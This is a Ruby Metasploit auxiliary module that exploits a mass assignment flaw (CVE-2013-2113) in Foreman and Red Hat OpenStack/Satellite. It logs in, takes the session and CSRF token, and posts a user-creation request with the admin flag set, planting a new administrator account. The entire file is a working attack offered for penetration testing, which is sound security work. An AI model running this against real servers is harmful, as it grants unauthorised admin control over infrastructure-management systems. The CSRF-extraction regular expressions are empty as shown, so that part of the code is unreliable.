## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize super( 'Name' => 'Foreman (Red Hat OpenStack/Satellite) users/create Mass Assignment', 'Description' => %q{ This module exploits a mass assignment vulnerability in the 'create' action of 'users' controller of Foreman and Red Hat OpenStack/Satellite (Foreman 1.2.0-RC1 and earlier) by creating an arbitrary administrator account. For this exploit to work, your account must have 'create_users' permission (e.g., Manager role). }, 'Author' => 'Ramon de C Valle', 'License' => MSF_LICENSE, 'References' => [ ['BID', '60835'], ['CVE', '2013-2113'], ['CWE', '915'], ['OSVDB', '94655'], ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=966804'], ['URL', 'https://projects.theforeman.org/issues/2630'] ], 'DisclosureDate' => 'Jun 6 2013', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES], 'Reliability' => [] } ) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('USERNAME', [true, 'Your username']), OptString.new('PASSWORD', [true, 'Your password']), OptString.new('NEWUSERNAME', [true, 'The username of the new admin account']), OptString.new('NEWPASSWORD', [true, 'The password of the new admin account']), OptString.new('NEWEMAIL', [true, 'The email of the new admin account']), OptString.new('TARGETURI', [ true, 'The path to the application', '/']), ] ) end def run print_status("Logging into #{target_url}...") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'users', 'login'), 'vars_post' => { 'login[login]' => datastore['USERNAME'], 'login[password]' => datastore['PASSWORD'] } ) if res.nil? print_error('No response from remote host') return end if res.headers['Location'] =~ %r{users/login$} print_error('Authentication failed') return else session = ::Regexp.last_match(1) if res.get_cookies =~ /_session_id=([0-9a-f]*)/ if session.nil? print_error('Failed to retrieve the current session id') return end end print_status('Retrieving the CSRF token for this session...') res = send_request_cgi( 'cookie' => "_session_id=#{session}", 'method' => 'GET', 'uri' => normalize_uri(target_uri) ) if res.nil? print_error('No response from remote host') return end if res.headers['Location'] =~ %r{users/login$} print_error('Failed to retrieve the CSRF token') return end csrf_param = ::Regexp.last_match(1) if res.body =~ %r{}i csrf_token = ::Regexp.last_match(1) if res.body =~ %r{}i if csrf_param.nil? || csrf_token.nil? csrf_param = ::Regexp.last_match(1) if res.body =~ %r{}i csrf_token = ::Regexp.last_match(1) if res.body =~ %r{}i end if csrf_param.nil? || csrf_token.nil? print_error('Failed to retrieve the CSRF token') return end print_status("Sending create-user request to #{target_url('users')}...") res = send_request_cgi( 'cookie' => "_session_id=#{session}", 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'users'), 'vars_post' => { csrf_param => csrf_token, 'user[admin]' => 'true', 'user[auth_source_id]' => '1', 'user[login]' => datastore['NEWUSERNAME'], 'user[mail]' => datastore['NEWEMAIL'], 'user[password]' => datastore['NEWPASSWORD'], 'user[password_confirmation]' => datastore['NEWPASSWORD'] } ) if res.nil? print_error('No response from remote host') return end if res.headers['Location'] =~ /users$/ print_good('User created successfully') else print_error('Failed to create user') end end def target_url(*args) (ssl ? 'https' : 'http') + if rport.to_i == 80 || rport.to_i == 443 "://#{vhost}" else "://#{vhost}:#{rport}" end + normalize_uri(target_uri.path, *args) end end